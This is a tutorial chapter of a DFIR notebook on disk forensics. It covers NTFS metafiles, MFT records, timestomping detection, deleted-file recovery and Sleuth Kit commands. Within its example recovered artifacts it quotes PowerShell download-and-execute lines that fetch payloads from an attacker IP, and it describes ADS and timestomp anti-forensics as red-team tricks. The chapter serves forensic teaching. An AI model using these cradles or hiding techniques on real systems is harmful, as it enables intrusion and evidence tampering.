Disk Forensics: File Systems, Artifacts & Autopsy/Sleuth Kit
This is Chapter 3 of the DFIR notebook. Chapter 2 ended with a verified .E01 on your analysis workstation and a hash that proves it matches the source. This chapter is what you do next: pull that image apart, understand the file system underneath it, recover what was deleted, and reconstruct — minute by minute — what a human being did on that machine.
Acquisition is a procedure. Analysis is an investigation. The difference matters because acquisition has one right answer (a byte-identical image with a matching hash) while analysis has as many wrong answers as you have untested assumptions. A file’s “date modified” in Windows Explorer is not a fact; it is one of eight timestamps that particular file carries, the one an attacker can trivially rewrite. A “deleted” file is not gone; on a spinning disk it is usually intact and merely unreferenced, and on an SSD it may have been electrically erased four seconds after the delete. Knowing which is which is the entire skill.
Everything here is written for lawful work — incident response on systems your organisation owns, authorised investigations, CTF and DFIR-lab evidence, and building the muscle memory you need before you touch real evidence. Analyse only images you are authorised to analyse, and always work on a copy of the copy.
How Deep This Chapter Goes
Section titled “How Deep This Chapter Goes”By the end you should be able to take a raw .dd or .E01 from a Windows or Linux host and, without a GUI if necessary:
- Identify the partitioning scheme and locate every volume, including ones the OS refuses to show you.
- Explain what the file system is doing at each of the five forensic layers and pick the right tool for each layer.
- Read an NTFS
$MFTrecord by hand, distinguish resident from non-resident data, decode a runlist, and find data hidden in an alternate data stream. - Prove or disprove timestomping by comparing
$STANDARD_INFORMATIONagainst$FILE_NAME. - Recover deleted files by metadata (still-intact MFT entry) and by carving (metadata gone), and know when neither will work.
- Build a super timeline that fuses file system MACB times with registry, Prefetch, event log, and browser artifacts.
- Defend every one of those findings when someone asks “how do you know?”
flowchart LR
A[Verified image] --> B[Volume system<br/>mmls]
B --> C[File system<br/>fsstat]
C --> D[File name layer<br/>fls / ffind]
D --> E[Metadata layer<br/>istat / ifind]
E --> F[Data unit layer<br/>icat / blkcat / blkls]
F --> G[Unallocated + carving<br/>foremost / photorec]
C --> H[OS artifacts<br/>registry / prefetch / logs]
G --> I[Super timeline]
H --> I
I --> J[Narrative + report]
Part 1: How Storage Is Actually Organised
Section titled “Part 1: How Storage Is Actually Organised”Before file systems, there is geometry. A forensic image is a flat sequence of bytes, and every tool you will use navigates that flat sequence using offsets. If you get an offset wrong, every subsequent conclusion is wrong, so start here.
Sectors, blocks, and the 512e lie
Section titled “Sectors, blocks, and the 512e lie”The smallest addressable unit on a disk is the sector. Classic disks use 512-byte sectors. Modern drives use 4096-byte physical sectors (“Advanced Format”, 4Kn) but many still report 512-byte logical sectors for compatibility — this is called 512e (512-emulated). This matters because dd, mmls, and fdisk all speak in sectors, and if you assume 512 when the tool is reporting 4096 your offsets will be off by a factor of eight.
# Check both sector sizes on a live device before imagingsudo blockdev --getss /dev/sdb # logical sector size -> 512sudo blockdev --getpbsz /dev/sdb # physical sector size -> 4096sudo blockdev --getsize64 /dev/sdb # total size in bytes| Term | Size | Who defines it | Why forensics cares |
|---|---|---|---|
| Physical sector | 512 or 4096 B | Drive firmware | Determines write granularity, affects slack behaviour |
| Logical sector | usually 512 B | Drive firmware (512e) | The unit mmls/dd offsets are counted in |
| Cluster / block | 512 B – 64 KB | File system | Smallest allocatable unit; source of file slack |
| Page (SSD) | 4–16 KB | NAND | Smallest programmable unit |
| Erase block (SSD) | 128 KB – 4 MB | NAND | Smallest erasable unit — the root of TRIM behaviour |
Why the cluster matters more than the sector: a file system allocates space in clusters. A 1-byte file in a file system with 4 KB clusters consumes 4 KB. The 4095 unused bytes are file slack, and on many file systems they still contain whatever was in that cluster before. Slack is where fragments of previously deleted documents live, and it is invisible to every normal file-browsing tool.
MBR versus GPT
Section titled “MBR versus GPT”Two partitioning schemes dominate.
MBR (Master Boot Record) lives in sector 0. It contains 446 bytes of boot code, a 64-byte partition table holding exactly four 16-byte entries, and the signature 0x55AA. Four primary partitions maximum; more requires an extended partition containing a linked list of logical partitions. Maximum addressable size is 2 TiB with 512-byte sectors.
GPT (GUID Partition Table) starts at LBA 1 with a header, followed by a partition entry array (typically 128 entries × 128 bytes). LBA 0 holds a protective MBR — a fake single partition of type 0xEE spanning the disk — whose only job is to stop legacy tools from thinking the disk is unpartitioned and “helpfully” repartitioning it. GPT also keeps a backup copy of the header and entry array at the very end of the disk.
Forensic relevance of the GPT backup: if the primary GPT was wiped to hide a partition, the backup at the end of the disk often still describes it. gdisk -l and testdisk will read the backup. A partition that exists in the backup table but not the primary is a strong tampering indicator worth documenting explicitly.
flowchart TD
subgraph MBR_Disk
M0[LBA 0: MBR 446B boot + 4x16B entries + 55AA]
M1[Partition 1]
M2[Partition 2]
M3[Extended -> logical chain]
end
subgraph GPT_Disk
G0[LBA 0: Protective MBR type 0xEE]
G1[LBA 1: GPT header + CRC32]
G2[LBA 2-33: 128 partition entries]
G3[Partitions]
G4[End of disk: backup entries + backup header]
end
Reading the layout of an image
Section titled “Reading the layout of an image”mmls is The Sleuth Kit’s volume-system tool and is normally the very first command you run against an image. (Full TSK teaching is in Part 7; this is a preview because you cannot discuss layout without it.)
mmls evidence.ddDOS Partition TableOffset Sector: 0Units are in 512-byte sectors
Slot Start End Length Description000: Meta 0000000000 0000000000 0000000001 Primary Table (#0)001: ------- 0000000000 0000002047 0000002048 Unallocated002: 000:000 0000002048 0001026047 0001024000 NTFS / exFAT (0x07)003: 000:001 0001026047 0062914559 0061888513 NTFS / exFAT (0x07)004: ------- 0062914560 0062914703 0000000144 UnallocatedRead that output carefully — three things in it are investigatively interesting:
- Sectors 0–2047 are unallocated. That is normal (alignment gap before the first partition), but it is also a classic hiding place: 1 MB of space that no file system claims and no OS shows. Always extract and examine it.
- The 144 unallocated sectors at the end are similarly unclaimed. On a GPT disk this region holds the backup GPT; on an MBR disk it is often leftover from a previous partitioning.
- Two NTFS volumes, the first only 500 MB — that is the Windows System Reserved / recovery partition. It holds the boot configuration data and is frequently ignored by novices, and is exactly where bootkit persistence lives.
# Extract the pre-partition gap for inspectiondd if=evidence.dd of=gap_start.bin bs=512 skip=0 count=2048 status=nonestrings -n 8 gap_start.bin | headxxd gap_start.bin | head -3To work on a single partition, you tell TSK the offset with -o (in sectors) rather than carving out a separate file:
fsstat -o 1026047 evidence.dd # offset taken straight from the mmls Start columnPentester / red team relevance: the same gaps are where “slack space” persistence and bootkits (classic MBR bootkits, and modern ESP-resident UEFI implants) live. If you are on the offensive side, understanding that mmls shows unclaimed regions tells you why hiding there is not actually hiding.
Part 2: The Five-Layer Model Every Forensic Tool Is Built On
Section titled “Part 2: The Five-Layer Model Every Forensic Tool Is Built On”Brian Carrier’s File System Forensic Analysis introduced the abstraction that The Sleuth Kit implements directly, and once it clicks, every TSK tool name becomes self-explanatory. A file system is analysed at five layers:
| Layer | What lives there | Question it answers | TSK tools |
|---|---|---|---|
| File System | Superblock / boot sector, layout parameters | “What kind of FS, what cluster size, where does everything start?” | fsstat |
| File Name | Directory entries mapping names to metadata IDs | “What is this file called and where does it appear in the tree?” | fls, ffind |
| Metadata | Inodes / MFT records: timestamps, size, permissions, pointers | “When was it touched, how big, which blocks hold it?” | istat, ils, icat, ifind |
| Data Unit | Clusters / blocks: the actual content | “What bytes are in this block, and is it allocated?” | blkcat, blkls, blkstat, blkcalc |
| Application | File content structure (registry, EVTX, JPEG) | “What does the content mean?” | bulk_extractor, parsers, Autopsy modules |
The critical insight is that the layers can disagree, and disagreement is evidence.
- A name with no valid metadata → the file was deleted and its MFT record reused.
- Metadata with no name (
ilsshows an orphan inode) → the directory entry is gone but the content pointers survive. You can still recover the file, you just do not know its original name. - A data unit marked allocated but claimed by no metadata → possible hidden data or file system corruption.
- Two metadata records pointing at the same cluster → cross-linked, usually corruption, occasionally deliberate.
flowchart TD
A["File Name Layer: report.docx -> MFT 4512"] --> B["Metadata Layer: MFT 4512 times, size, runlist"]
B --> C["Data Unit Layer: clusters 90210-90215"]
C --> D["Application Layer: DOCX = ZIP of XML"]
B -.-> C
A -.-> B
E["Orphan metadata (no name)"] --> C
Why this beats ‘just open it in a GUI’: Autopsy is excellent, and Part 9 teaches it properly, but a GUI shows you the file name layer by default. Every subtle finding in disk forensics — the deleted file whose name was reused, the data hidden in unallocated space, the ADS that Explorer will never list — lives one or two layers below what the GUI shows first.
Part 3: NTFS Internals — Everything Is a File
Section titled “Part 3: NTFS Internals — Everything Is a File”NTFS is the file system you will analyse most often, and it has one design idea that explains almost all of its forensic richness: everything on the volume, including the file system’s own bookkeeping, is stored as a file. Those internal files are called metafiles and their names begin with $.
The metafiles
Section titled “The metafiles”| MFT # | Name | Purpose | Forensic value |
|---|---|---|---|
| 0 | $MFT | The Master File Table itself | The core artifact; one record per file |
| 1 | $MFTMirr | Backup of first 4 MFT records | Recovery if MFT start is damaged |
| 2 | $LogFile | Transaction journal (NTFS metadata journaling) | Recent create/delete/rename operations, often minutes-to-days of history |
| 3 | $Volume | Volume label, version, dirty flag | Volume serial, version, whether cleanly unmounted |
| 4 | $AttrDef | Attribute type definitions | Rarely useful |
| 5 | . | Root directory | Entry point of the tree |
| 6 | $Bitmap | One bit per cluster: allocated or not | Defines what “unallocated” means for this volume |
| 7 | $Boot | Boot sector (and backup at volume end) | Cluster size, MFT location, volume serial |
| 8 | $BadClus | Bad-cluster map | Classic hiding spot — data marked “bad” is skipped by the OS |
| 9 | $Secure | Security descriptors (ACLs) | Ownership/permission history |
| 11 | $Extend | Directory of extended metafiles | Contains $UsnJrnl, $Quota, $ObjId, $Reparse |
| — | $Extend\$UsnJrnl:$J | Update Sequence Number change journal | Extremely high value — a per-file change log |
IR use case: on a machine where the attacker deleted their tooling, $UsnJrnl:$J frequently still lists the file names that were created and deleted, with USN ordering, long after the files and their MFT records are gone. It is often the single best answer to “what was here before they cleaned up?”
The MFT record
Section titled “The MFT record”Every file and directory gets at least one MFT record, normally 1024 bytes. The record is a header followed by a sequence of attributes. A file is not “a file with some metadata” — a file is its set of attributes.
| Attribute type | Hex | Contents | Notes |
|---|---|---|---|
$STANDARD_INFORMATION | 0x10 | MACE timestamps, flags, owner/quota/USN | Always resident; the times Explorer shows; user-writable |
$ATTRIBUTE_LIST | 0x20 | Pointers to other MFT records | Appears when attributes outgrow one record |
$FILE_NAME | 0x30 | Name, parent reference, a second MACE set | One per name (8.3 + long); kernel-updated |
$DATA | 0x80 | The file content | Unnamed = normal content; named = ADS |
$INDEX_ROOT | 0x90 | Directory index (small dirs) | Resident B-tree root |
$INDEX_ALLOCATION | 0xA0 | Directory index (large dirs) | Non-resident; $I30 slack lives here |
$BITMAP | 0xB0 | Allocation bitmap for the index | Which index entries are in use |
$REPARSE_POINT | 0xC0 | Junctions, symlinks, dedup, cloud placeholders | OneDrive/dedup files look empty without parsing this |
Resident versus non-resident data
Section titled “Resident versus non-resident data”If a file’s content fits in the space left in its 1024-byte MFT record — in practice, roughly under 700–800 bytes — NTFS stores the content inside the MFT record itself. This is a resident $DATA attribute. Larger content is non-resident: stored in clusters elsewhere, with the MFT record holding a runlist describing where.
This has three consequences that come up constantly:
- Tiny files leave no cluster footprint. A 300-byte
notes.txtnever occupies a data cluster, so carving unallocated space will never find it. Its content lives and dies with its MFT record. - Deleting a small file does not free any cluster. Recovery means recovering the MFT record —
icaton the inode works perfectly, right up until the record is reused. - Resident content survives in the
$MFTfile itself. Even after deletion, astringspass over the extracted$MFTwill surface fragments of small text files, script snippets, and configuration. This is a genuinely underused trick.
# Extract $MFT from a mounted-offset image and mine iticat -o 1026047 evidence.dd 0 > MFT.rawls -lh MFT.rawstrings -n 12 MFT.raw | grep -iE 'powershell|http://|https://|Invoke-' | head -20-rw-r--r-- 1 analyst analyst 268M Mar 2 11:04 MFT.rawIEX (New-Object Net.WebClient).DownloadString('http://198.51.100.24/a.ps1')http://198.51.100.24/beacon.exeInvoke-WebRequest -Uri http://198.51.100.24/rc.exe -OutFile C:\Users\Public\rc.exeThose three lines came out of a deleted 400-byte batch file whose MFT record had not yet been reused. No cluster on the disk ever held that text.
Runlists — how non-resident content is addressed
Section titled “Runlists — how non-resident content is addressed”A runlist is a compact, variable-length encoding of “N clusters starting at offset X”, where X is a signed delta from the previous run’s start. Encoding it by hand is rarely necessary, but reading istat output is:
istat -o 1026047 evidence.dd 4512MFT Entry Header Values:Entry: 4512 Sequence: 3$LogFile Sequence Number: 118422105Allocated FileLinks: 1
$STANDARD_INFORMATION Attribute Values:Flags: ArchiveOwner ID: 0Security ID: 1289Created: 2027-01-14 09:12:44.113822700 (UTC)File Modified: 2027-01-14 09:12:44.128411300 (UTC)MFT Modified: 2027-01-14 09:12:44.128411300 (UTC)Accessed: 2027-01-14 09:12:44.113822700 (UTC)
$FILE_NAME Attribute Values:Flags: ArchiveName: quarterly_report.docxParent MFT Entry: 3811 Sequence: 2Created: 2027-01-14 09:12:44.113822700 (UTC)File Modified: 2027-01-14 09:12:44.113822700 (UTC)MFT Modified: 2027-01-14 09:12:44.113822700 (UTC)Accessed: 2027-01-14 09:12:44.113822700 (UTC)
Attributes:Type: $STANDARD_INFORMATION (16-0) Name: N/A Resident size: 72Type: $FILE_NAME (48-2) Name: N/A Resident size: 90Type: $DATA (128-3) Name: N/A Non-Resident size: 4718592 init_size: 471859290210 90211 90212 90213 90214 90215 ...The bare numbers at the bottom are the allocated clusters. icat follows them for you; blkcat lets you read any one of them directly.
Alternate Data Streams
Section titled “Alternate Data Streams”A named $DATA attribute is an alternate data stream. secret.txt:hidden is one file with two $DATA attributes. dir shows only the size of the unnamed stream; the ADS is invisible to almost every ordinary tool.
# Creating one (Windows, lab only)echo "beacon config: 198.51.100.24:443" > C:\temp\readme.txt:cfgGet-Item C:\temp\readme.txt -Stream * # PowerShell 3.0+ lists streamsdir /r C:\temp # cmd.exe: /r shows streamsFileName: C:\temp\readme.txtStream Length------ ------:$DATA 0cfg 34Forensically, ADS are trivially visible — because to TSK, an ADS is just another attribute:
fls -o 1026047 -r evidence.dd | grep ':' # ADS appear as inode-attr pairsistat -o 1026047 evidence.dd 7719 # shows both $DATA attributesicat -o 1026047 evidence.dd 7719-128-5 # read the *named* stream by attribute IDr/r 7719-128-4: Users/jsmith/Downloads/readme.txtr/r 7719-128-5: Users/jsmith/Downloads/readme.txt:cfgRed team usage: ADS remain a real, still-working stealth primitive for storing payload configuration on disk — but note that Windows adds a Zone.Identifier ADS to every downloaded file, so an unusual stream name in Downloads stands out sharply in a review. Blue team usage: hunt with Get-ChildItem -Recurse | Get-Item -Stream * | Where-Object Stream -ne ':$DATA' and alert on any stream that is not Zone.Identifier. CTF relevance: hidden-flag-in-ADS is a recurring Windows forensics challenge on TryHackMe and CyberDefenders; fls/icat solve it in two commands.
$I30 index slack — the directory that remembers
Section titled “$I30 index slack — the directory that remembers”Directories store their entries in a B-tree inside $INDEX_ROOT / $INDEX_ALLOCATION (the $I30 index). When a file is deleted, its index entry is removed from the tree by adjusting offsets — but the old entry bytes frequently remain in the slack of the index allocation blocks. Parsing that slack recovers file names, sizes, and all four $FILE_NAME timestamps for files that were deleted long ago.
# Extract a directory's index allocation and parse slackicat -o 1026047 evidence.dd 3811-160-6 > Downloads_I30.binpython3 INDXParse.py -d Downloads_I30.bin --slack # Willi Ballenthin's INDXParseFILENAME PHYSICALSIZE LOGICALSIZE MODIFIED ACCESSED CHANGED CREATEDmimikatz.exe 1265664 1264776 2027-01-11 22:04:18 2027-01-11 22:06:02 2027-01-11 22:04:18 2027-01-11 22:03:57psexec.exe 381816 381816 2027-01-11 22:09:41 2027-01-11 22:10:12 2027-01-11 22:09:41 2027-01-11 22:09:33Those files are gone. Their MFT records were reused. Their clusters were overwritten. The directory index slack still names them, sizes them, and timestamps them. This is one of the highest-value NTFS tricks and it routinely survives attacker cleanup.
Part 4: NTFS Timestamps and the Anatomy of Timestomping
Section titled “Part 4: NTFS Timestamps and the Anatomy of Timestomping”NTFS keeps two sets of four timestamps per file name, which is why practitioners say “eight timestamps”.
| Set | Where | Updated by | Attacker-writable? |
|---|---|---|---|
$STANDARD_INFORMATION (SI) | Attribute 0x10 | Normal file operations; settable via the documented SetFileTime API | Yes, trivially |
$FILE_NAME (FN) | Attribute 0x30 | Kernel only, on create / rename / move / hardlink | Not through documented APIs |
Each set carries four values, remembered as MACB:
| Letter | Name | Meaning | Notes |
|---|---|---|---|
| M | Modified | Content last changed | The one users think of as “the date” |
| A | Accessed | Last read | Disabled by default on modern Windows (NtfsDisableLastAccessUpdate=1), so absence proves nothing |
| C | Changed (MFT Modified) | Metadata record last changed | Updated on permission/name/attribute changes |
| B | Birth (Created) | File creation | Survives copy differently than move — see below |
The rules that make timestamps interpretable
Section titled “The rules that make timestamps interpretable”- Copy a file: destination gets a new Birth time (now), and typically retains the source’s Modified time. So
B > M— a file “created” after it was “modified” — is the normal signature of a copy, not of tampering. - Move within the same volume: it is a rename. All times are preserved; only FN Changed updates.
- Move across volumes: it is a copy plus a delete. New Birth time.
- Download: Birth = download time; Modified often = the time on the origin server.
Detecting timestomping
Section titled “Detecting timestomping”The core detection is SI/FN disagreement. Tools like timestomp (Metasploit), SetMace, and countless custom loaders call SetFileTime, which writes only the SI set. The FN set keeps the truth.
istat -o 1026047 evidence.dd 8823$STANDARD_INFORMATION Attribute Values:Created: 2009-07-14 01:14:24.000000000 (UTC)File Modified: 2009-07-14 01:14:24.000000000 (UTC)MFT Modified: 2009-07-14 01:14:24.000000000 (UTC)Accessed: 2009-07-14 01:14:24.000000000 (UTC)
$FILE_NAME Attribute Values:Name: svch0st.exeCreated: 2027-01-11 22:14:07.663291200 (UTC)File Modified: 2027-01-11 22:14:07.663291200 (UTC)MFT Modified: 2027-01-11 22:14:07.663291200 (UTC)Accessed: 2027-01-11 22:14:07.663291200 (UTC)Read the indicators in order of strength:
- SI is nine years older than FN. The FN set is written by the kernel when the name is created; a file cannot have been named after it existed in that directory. This is near-conclusive.
- All four SI timestamps are identical to the second, with zeroed sub-second precision. Genuine NTFS timestamps have 100-nanosecond granularity and effectively never end in
.000000000across all four values.timestomp’s-zoption sets whole seconds. This alone is a strong flag. 2009-07-14 01:14:24is the well-known build timestamp of Windows 7 system files — a lazy copy ofkernel32.dll’s date. Attackers who “blend in” by copying a system file’s timestamp create a cluster of files sharing one improbable timestamp.- MFT entry number is high (8823) relative to genuinely old files. MFT entries are allocated roughly in creation order early in a volume’s life; a file claiming to be from 2009 sitting in a record number surrounded by records from last month is anomalous. Not conclusive on its own — records get reused — but corroborating.
Anti-anti-forensics note: SetMace and similar tools can write FN timestamps by manipulating the volume directly, defeating check #1. That is why you never rely on a single indicator. Cross-check against sources the attacker did not think to edit: $UsnJrnl records the change with its own timestamp; $LogFile holds the transaction; Prefetch, Amcache, and the Security event log record execution independently; and $I30 index entries carry a third copy of the FN times.
flowchart TD
A[Suspicious file] --> B{SI times vs FN times}
B -->|SI much older than FN| C[Timestomping likely]
B -->|Consistent| D{All 4 SI identical and sub-second zero?}
D -->|Yes| C
D -->|No| E{Matches UsnJrnl, LogFile, Prefetch?}
E -->|Contradiction| C
E -->|Consistent| F[Timestamps credible]
C --> G[Corroborate with Amcache, SRUM, EVTX, I30 slack]
Bug bounty relevance: limited directly — but the same reasoning applies when you are asked to prove when you found something in a disclosure dispute, and file-metadata forgery detection is a real category in forensic-readiness reviews.
Part 5: Other File Systems and What Changes
Section titled “Part 5: Other File Systems and What Changes”You will not only meet NTFS. The method transfers; the specifics do not.
FAT32 and exFAT
Section titled “FAT32 and exFAT”FAT is simple, which cuts both ways. There is no journal, no ACL, no MFT — just a File Allocation Table (a chain of cluster pointers) and directory entries holding name, attributes, start cluster, size, and timestamps.
| Property | FAT32 | exFAT | NTFS |
|---|---|---|---|
| Max file size | 4 GiB − 1 | ~16 EiB | ~16 TiB (practical) |
| Timestamps | Create (2 s), Modify (2 s), Access (date only) | Create/Modify (10 ms) + UTC offset, Access | 8 × 100 ns |
| Timezone | Local time, no TZ stored | UTC offset field | UTC |
| Journal | None | None (has allocation bitmap) | $LogFile + $UsnJrnl |
| Deletion behaviour | First name char becomes 0xE5, FAT chain zeroed | Entry flag cleared, bitmap cleared | MFT flag cleared, $Bitmap cleared |
Two forensic consequences dominate:
- FAT stores local time. A photo on a camera SD card with a “modified” time of 14:32 is 14:32 in whatever timezone the device thought it was in. Do not silently normalise to UTC; document the ambiguity. This single issue produces more wrong timelines on USB/SD evidence than any other.
- FAT deletion destroys the cluster chain. The directory entry keeps the start cluster and the size, so a contiguous deleted file recovers perfectly; a fragmented one recovers only its first fragment, then garbage. NTFS by contrast keeps the whole runlist in the MFT record, so fragmented NTFS files recover fine until the record is reused.
ext4 (Linux)
Section titled “ext4 (Linux)”- Metadata is in inodes; names live in directory entries; the two are separate exactly as in the five-layer model.
- Timestamps:
atime,mtime,ctime(inode change), and — crucially for forensics —crtime(birth), which exists on-disk in ext4 but whichstaton older tooling does not print. Usedebugfs -R 'stat <inode>' /dev/sdXor TSK’sistatto see it. - Deletion is destructive to recovery. ext4 zeroes the extent tree / block pointers in the inode on unlink (unlike ext3’s partial behaviour). Metadata-based recovery of deleted ext4 files is usually not possible; you fall back to carving unallocated space or to the journal.
- The ext4 journal (
jbd2) may still hold older copies of inode blocks.debugfs -R "logdump -i <8>"andext4magicexploit exactly this to recover files deleted within the journal’s window.
# ext4: read birth time and full inode detailsudo debugfs -R 'stat <131078>' /dev/sdb1sudo debugfs -R 'ls -d /home/user' /dev/sdb1 # -d shows deleted entriesext4magic /dev/sdb1 -a $(date -d "2027-01-11 00:00" +%s) -f home/user -r -d /cases/recoveredXFS, Btrfs, APFS
Section titled “XFS, Btrfs, APFS”| FS | Key forensic point |
|---|---|
| XFS | Default on RHEL/CentOS. B+tree metadata, no undelete support in most tools; xfs_db for low-level work; carving is often the only recovery path. |
| Btrfs | Copy-on-write: old versions of data persist until rebalanced. Snapshots (btrfs subvolume list) are a goldmine — an attacker who edited a file may have left the original in a snapshot. |
| APFS | macOS. Copy-on-write, native encryption (FileVault), snapshots (tmutil listlocalsnapshots), and clone files that share extents. Sparse/clone semantics mean “file size” and “space used” diverge wildly. |
Blue team usage: on Btrfs/APFS/ZFS hosts, take and preserve a snapshot first during IR — it is a consistent, free forensic copy of the file system state at the moment of detection, and it costs seconds.
Part 6: What Deletion Actually Does — and When Recovery Fails
Section titled “Part 6: What Deletion Actually Does — and When Recovery Fails”Deletion, on every mainstream file system, is a bookkeeping change:
sequenceDiagram
participant U as User or malware
participant OS as OS
participant MD as Metadata (MFT/inode)
participant BM as Allocation bitmap
participant D as Data clusters
U->>OS: DeleteFile evil.exe
OS->>MD: Clear in-use flag in MFT record
OS->>MD: Remove entry from parent I30 index
OS->>BM: Mark file clusters as free
Note over D: Data clusters are NOT touched
Note over MD: Record contents remain until reused
Note over BM: Free is not erased; content persists
That leaves three recovery paths, in decreasing order of quality:
| Path | Precondition | Recovers | Tool |
|---|---|---|---|
| Metadata-based (undelete) | MFT record / inode not yet reused | Full file, correct name, correct size, all timestamps | icat, tsk_recover, Autopsy “Deleted Files” |
| Carving | Content clusters not yet overwritten | File content only — no name, no timestamps, size guessed from header/footer | foremost, scalpel, photorec, bulk_extractor |
| Fragment / slack | Only part survives | Strings, partial documents, keys | blkls + strings, bulk_extractor |
Slack space, precisely
Section titled “Slack space, precisely”Two distinct kinds, often conflated:
- RAM slack (file slack proper): the bytes between end-of-file and end-of-sector. Modern Windows zero-fills this, so it is largely a historical artifact.
- Drive/cluster slack: the sectors between end-of-file-sector and end-of-cluster. These are not zeroed. They contain whatever the previous occupant of those sectors left. A 4 KB cluster holding a 600-byte file has ~3.4 KB of someone else’s data in it.
# Extract all slack space on the volume for keyword huntingblkls -o 1026047 -s evidence.dd > volume_slack.rawstrings -n 8 volume_slack.raw | grep -iE 'password|BEGIN RSA|@corp\.local' | sort -u | headThe SSD problem
Section titled “The SSD problem”On an SSD with TRIM enabled, the OS tells the drive “these LBAs are no longer needed” on delete. The drive’s garbage collector then erases those NAND pages autonomously, without any further OS involvement. Subsequent reads of those LBAs return zeros (deterministic-zero TRIM) or unspecified data. This happens in seconds to minutes and cannot be undone, even with a write blocker attached — the drive does it internally.
Practical consequences you must state in every report involving SSDs:
- Deleted-file recovery on a TRIMmed SSD is usually impossible. Absence of recovered deleted files is not evidence that nothing was deleted.
- Wear levelling means the physical NAND may hold older copies of data at LBAs the host cannot address. Chip-off / vendor-level acquisition can sometimes reach it; standard imaging cannot.
- Over-provisioning (7–28% of NAND invisible to the host) is similarly unreachable.
- TRIM is not issued in some paths: over most USB bridges historically (no UNMAP passthrough), inside some RAID configurations, on some encrypted volumes, and when the file system is mounted without
discardandfstrimhas not run yet. So sometimes you do get data back — test, do not assume.
| Medium | Deleted-file recovery outlook | What to write in the report |
|---|---|---|
| HDD | Good; often excellent | Standard recovery applies |
| SSD, TRIM active | Poor to none for deleted content | “Recovery of deleted content is not expected on this medium due to TRIM” |
| SSD via USB bridge | Sometimes good | Note the interface; test with a known-deleted file |
| eMMC/UFS (phones) | Varies; often TRIM-like | Note chipset behaviour |
| Encrypted volume (unlocked) | As underlying medium | Note key availability |
Do not skip this paragraph in real reports. Opposing counsel asking “you found no deleted files, so nothing was deleted, correct?” is answered by the TRIM explanation and by $UsnJrnl / $I30 slack evidence that names files whose content is gone.
Part 7: The Sleuth Kit From Scratch
Section titled “Part 7: The Sleuth Kit From Scratch”What it is: The Sleuth Kit (TSK) is an open-source C library plus a set of command-line tools for reading disk images and file systems at each of the five layers, without mounting them and without trusting the host OS’s drivers. Brian Carrier maintains it; Autopsy is the GUI built on top of it. If you learn one forensic toolset, learn this one — it is scriptable, it is on every forensic distro, and it is the reference implementation that GUI findings get validated against.
Why it exists: mounting evidence with the host OS means the host OS’s file system driver interprets the data — and may replay a journal, update timestamps, hide files, or refuse to show corrupted structures. TSK parses the bytes itself, read-only, showing you deleted entries, orphans, and slack that a mount will never reveal.
Install
Section titled “Install”# Kali / Debian / Ubuntusudo apt update && sudo apt install -y sleuthkit libewf-dev ewf-tools
# Fedora / RHELsudo dnf install -y sleuthkit libewf-tools
# macOSbrew install sleuthkit libewf
# Verifyfls -Vmmls -VThe Sleuth Kit ver 4.12.1Naming convention — the tool names are a map
Section titled “Naming convention — the tool names are a map”Every tool name is <layer-prefix><action>:
| Prefix | Layer | Tools |
|---|---|---|
mm | Media Management (volume) | mmls, mmstat, mmcat |
fs | File System | fsstat |
f | File name | fls, ffind |
i | Inode / metadata | ils, istat, icat, ifind |
blk | Block / data unit | blkls, blkcat, blkstat, blkcalc |
j | Journal | jls, jcat |
img | Image | img_stat, img_cat |
Universal flags
Section titled “Universal flags”| Flag | Meaning | Notes |
|---|---|---|
-o N | Volume starts at sector N | Take N from mmls; the most common source of error |
-i TYPE | Image type: raw, ewf, aff | Usually auto-detected; force it if detection fails |
-f TYPE | FS type: ntfs, fat32, ext4, hfs, apfs | Force when fsstat misidentifies |
-r | Recurse into directories | fls, tsk_recover |
-d / -u | Deleted only / undeleted only | fls, ils |
-p | Full paths | fls — always use it for greppable output |
-m PATH | Output in mactime body file format, prefixing PATH | The basis of timelining |
-a | All (including allocated) | ils -a, blkls -a |
-s | Slack only | blkls -s |
-e | Every block (allocated + unallocated) | blkls -e |
img_stat and E01 handling
Section titled “img_stat and E01 handling”TSK reads E01 natively when built with libewf. If a segmented image (.E01, .E02, …) is not auto-joined, pass all segments:
img_stat evidence.E01fls -o 1026047 evidence.E01 # works directlyfls -o 1026047 -i ewf evidence.E01 evidence.E02 evidence.E03 # explicit segmentsIMAGE FILE INFORMATION--------------------------------------------Image Type: ewfSize in bytes: 32212254720MD5 hash of data: 9f2c1b04d1d1e3e4b1af5a2c9d33e1b0The workflow, tool by tool
Section titled “The workflow, tool by tool”1. mmls — what partitions exist (covered in Part 1).
2. fsstat — what kind of file system, and its parameters
fsstat -o 1026047 evidence.ddFILE SYSTEM INFORMATION--------------------------------------------File System Type: NTFSVolume Serial Number: 8A3C41F29D07B65EOEM Name: NTFSVersion: Windows XP
METADATA INFORMATION--------------------------------------------First Cluster of MFT: 786432First Cluster of MFT Mirror: 2Size of MFT Entries: 1024 bytesRange: 0 - 274687
CONTENT INFORMATION--------------------------------------------Sector Size: 512Cluster Size: 4096Total Cluster Range: 0 - 7735062Total Sector Range: 0 - 61888510What to actually take from this: cluster size 4096 (governs slack), MFT entry size 1024, Range 0 – 274687 (there are 274,688 MFT entries — the upper bound for inode numbers you can query), and the volume serial, which you will cross-reference against registry MountedDevices and USB artifacts.
3. fls — list names, including deleted ones
fls -o 1026047 evidence.dd # root directory onlyfls -o 1026047 -r -p evidence.dd | head -20 # recursive, full pathsfls -o 1026047 -r -p -d evidence.dd # DELETED entries onlyr/r 4512-128-3: Users/jsmith/Documents/quarterly_report.docxd/d 3811-144-5: Users/jsmith/Downloads-/r * 8823-128-4: Users/Public/svch0st.exe-/r * 9104-128-4: Users/jsmith/Downloads/mimikatz.exed/- * 9210-144-6: Users/jsmith/AppData/Local/Temp/xDecode the prefix — this is the single most useful piece of fls syntax:
| Token | Meaning |
|---|---|
r/r | File type per name layer / per metadata layer, both “regular” |
d/d | Directory in both layers |
-/r | Name layer says unknown (entry deleted), metadata says regular file |
d/- | Name says directory, metadata is gone/reallocated — recovery unlikely |
* | Deleted |
4512-128-3 | inode 4512, attribute type 128 ($DATA), attribute ID 3 |
A -/r * line is the best possible deleted-file result: the metadata still exists, so icat will recover the file intact. A d/- * line means the metadata is gone; only carving remains.
4. istat — full metadata for one entry (shown in Part 3).
5. icat — extract content by inode
icat -o 1026047 evidence.dd 9104 > /cases/exp/mimikatz.exefile /cases/exp/mimikatz.exesha256sum /cases/exp/mimikatz.exe/cases/exp/mimikatz.exe: PE32+ executable (console) x86-64, for MS Windows1a4b9c... (compare against known-hash sets / VirusTotal by hash only)icat -r attempts recovery of deleted content; icat -s includes slack. Use the full inode-type-id form to grab a specific attribute (an ADS).
6. ils — list metadata entries, including orphans
